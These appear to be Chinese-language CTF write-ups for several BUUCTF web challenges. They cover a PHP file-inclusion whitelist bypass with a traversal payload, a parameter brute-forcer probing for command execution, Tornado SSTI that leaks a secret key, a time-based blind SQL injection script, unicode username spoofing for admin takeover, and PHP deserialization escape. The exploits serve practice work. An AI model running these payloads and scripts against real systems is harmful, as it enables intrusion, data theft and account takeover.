highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
观察源码逻辑,首先可以发现白名单是只有source.php和hint.php,通过访问hint.php我们可以知道flag在ffffllllaaaagggg文件中
但很明显我们无法直接访问,所以当然是继续分析逻辑
因为我们最后是想要读取ffffllllaaaagggg文件,所以很明显是要让代码执行到include $_REQUEST[‘file’];,传入file为ffffllllaaaagggg
mb_substr($page,0,mb_strpos($page.’?’,’?’))表示截取page中?之前的内容
所以判断既为true,就能通过判断条件
! empty($_REQUEST['file']) &&is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])
所以就能执行包含文件
payload:
http://web5.buuoj.cn/?file=source.php?../../../../../ffffllllaaaagggg
这边ffffllllaaaagggg文件前面的路径加…/是因为他和index.php不在同一个目录下,所以读取的是上级目录。
这题给了www.tar.gz下载下来是3000多个php文件,每个php文件中都有很多post和get的参数,只有一个php中的一个参数是可以getshell的。给出一个多线程python爆破脚本,主要功能是读取我们下载下来的php文件,然后寻找所有GET和POST参数,发送给服务器,判断是否执行了我们传入的东西,来判断是不是一个可以getshell的点。
import requests
import re
import os
from time import sleep
flies = os.listdir('../src')
from multiprocessing.dummy import Pool as ThreadPool
def breakMe(sss): # 输入范围
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
for i in flies[start:end]:
url = 'http://web15.buuoj.cn/'+i
f = open('../src/'+i)
data = f.read()
f.close()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
params = reg.findall(data)
for j in params:
payload = url + '?' + j + '=echo 123456123456123456123456'
req=requests.get(payload)
if '123456123456123456123456' in str(req.content):
print (payload)
exit()
list=[] # 参数列表
for i in range(30): # 多线程的数字列表 开始与结尾
list.append(str(100*i) + ':' + str(100*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(breakMe, list) # 函数 与参数列表
pool.close()
pool.join()
可以发现给了我们三个链接
flag是在/fllllllllllllag中的,但是访问这个文件是还有要一个filehash的参数,其值是md5(cookie_secret+md5(filename))规则加密的,主要我们需要知道的是cookie_secret的值
在我们直接访问http://web9.buuoj.cn/file?filename=/fllllllllllllag时发现页面跳转到了
提示有签名错误,发现/error?msg=Error,考虑服务端模板注入(ssti攻击)
尝试输入/error?msg={{1}},确实是存在模板注入
尝试输入/error?msg={{77}},不存在运算
之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings,于是尝试输入/error?msg={{handler.settings}}
得到cookie_secret:M)Z.>}{O]lYIp(oW7$dc132uDaK
再根据hint的加密规则算出filehash,便可以访问fllllllllllllag,得到flag
延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果。
给出了table和column名,给的这么详细大概是时间盲注的概率会高一些吧。同时发现过滤了空格,给出时间盲注脚本
import requests
import time
url = "http://web43.buuoj.cn/index.php"
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
#FLAG{5YK358DL6ME5EXXWO4MO2HJS5W0HADZ9}
while True:
for i in table:
ss = time.time()
data = {
'id':'''ELT(left((select flag from flag),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, i)
}
data['id'] = data['id'].replace(" ","\t")
requests.post(url,data=data)
if time.time()-ss>=0.5:
flag += i
print (flag)
break
这题首先是登录注册
通过题目大概可以知道,需要我们以admin的身份登陆,然后我这边先注册admin发现已经存在,所以先随便注册一个登陆了上去,然后去找一些可以利用的地方。
在更换密码的地方找到了一个git,得到题目源码
这边重点的是
def strlower(username):
username = nodeprep.prepare(username)
return username
这边对如下字幕ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
nodeprep.prepare会进行如下操作
ᴀ -> A -> a
所以经过这三步得到flag
注册用户ᴬdmin
登录用户ᴬdmin,变成Admin
修改密码Admin,更改了admin的密码
推荐博客https://www.anquanke.com/post/id/164086这题给出了三种解法
法1:伪造session
法2:unicode欺骗
法3:条件竞争
这边我也复现一下伪造session
使用的是这个github上的工具https://github.com/noraj/flask-session-cookie-manager
但没有复现成功,我对比了一下真实admin的session值和我伪造的session,应该整体上是没问题的,但是可能是由于这个工具和真实服务器构建session在最后一部分规则有差异还是怎么样,总之是没能复现成功,如果有找到更好用的工具的大佬可以指导我一下
buuctf上没有给出源码,看了那个0ctf的wp才会做
大概思路就是通过审计
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
发现一些sql关键字会被替换成hacker造成的一个漏洞
举个例子就是
s:10:“where1234"”; => s:10:“hacker1234"”
在反序列化的时候,因为s是10,所以会读10个字节,当where被替换成hacker后,就会逃逸掉一个引号。这样就可以构造我们想要逃逸内容个where实现控制反序列化后的内容
参考博客http://yqxiaojunjie.com/index.php/archives/171/